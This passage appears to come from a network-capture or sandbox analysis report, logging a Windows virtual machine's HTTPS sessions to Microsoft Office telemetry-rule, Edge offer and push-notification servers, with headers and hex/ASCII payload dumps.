SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	50927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:30 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033431Z-17c5cb586f6mhqqby1dwph2kzs00000002u0000000005va0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:31 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50933	94.245.104.56	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:31 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 03:34:31 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 30 Oct 2024 03:34:31 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	50935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:32 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d8669f86-801e-0083-53a9-29f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033432Z-17c5cb586f65j4snvy39m6qus400000002s000000000buxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	50934	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:32 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 71 6d 34 42 31 52 63 6e 38 45 43 6c 5a 31 36 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 38 37 61 39 36 33 30 35 39 39 32 33 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: qm4B1Rcn8EClZ16q.1Context: c487a963059923d
2024-10-30 03:34:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 03:34:32 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 71 6d 34 42 31 52 63 6e 38 45 43 6c 5a 31 36 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 38 37 61 39 36 33 30 35 39 39 32 33 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 55 62 56 43 54 75 48 74 7a 50 57 53 33 77 65 55 66 4b 65 43 50 74 69 52 42 6b 53 32 71 4c 63 4f 57 6e 34 31 75 77 78 61 7a 67 56 58 41 64 58 6d 6c 53 46 78 71 50 33 6d 6c 31 67 50 67 78 37 30 70 73 30 31 4f 6a 38 6c 55 76 67 4a 46 7a 67 51 70 39 53 53 6f 59 69 4b 72 67 48 48 31 7a 44 72 77 45 68 74 44 4d 44 2b 73 64 2b 58 6c Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: qm4B1Rcn8EClZ16q.2Context: c487a963059923d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWUbVCTuHtzPWS3weUfKeCPtiRBkS2qLcOWn41uwxazgVXAdXmlSFxqP3ml1gPgx70ps01Oj8lUvgJFzgQp9SSoYiKrgHH1zDrwEhtDMD+sd+Xl
2024-10-30 03:34:32 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 71 6d 34 42 31 52 63 6e 38 45 43 6c 5a 31 36 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 38 37 61 39 36 33 30 35 39 39 32 33 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: qm4B1Rcn8EClZ16q.3Context: c487a963059923d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 03:34:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 03:34:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 63 71 6e 74 70 67 56 4f 6b 36 66 45 48 42 38 74 48 71 33 6a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zcqntpgVOk6fEHB8tHq3jQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	50938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:32 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033432Z-16849878b78qwx7pmw9x5fub1c00000005gg00000000pck7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	50939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:32 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: c3c23e01-401e-008c-4e94-2986c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033432Z-17c5cb586f6r59nt869u8w8xt800000006d000000000c6nu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	50940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:32 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:32 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:32 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9bc6d014-801e-008f-4946-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033432Z-r197bdfb6b4skzzvqpzzd3xetg00000007000000000017np x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:32 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	50943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033433Z-16849878b78qf2gleqhwczd21s00000007r00000000062te x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:33 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	50946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:33 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:33 UTC	564	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:33 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c5ab768f-801e-007b-5c7c-2ae7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033433Z-r197bdfb6b42rt68rzg9338g1g00000008qg00000000bw37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 03:34:33 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	50947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:33 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:33 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033433Z-16849878b786lft2mu9uftf3y400000008sg000000006x6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:33 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	50950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:33 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033433Z-16849878b78z2wx67pvzz63kdg0000000660000000000b0n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
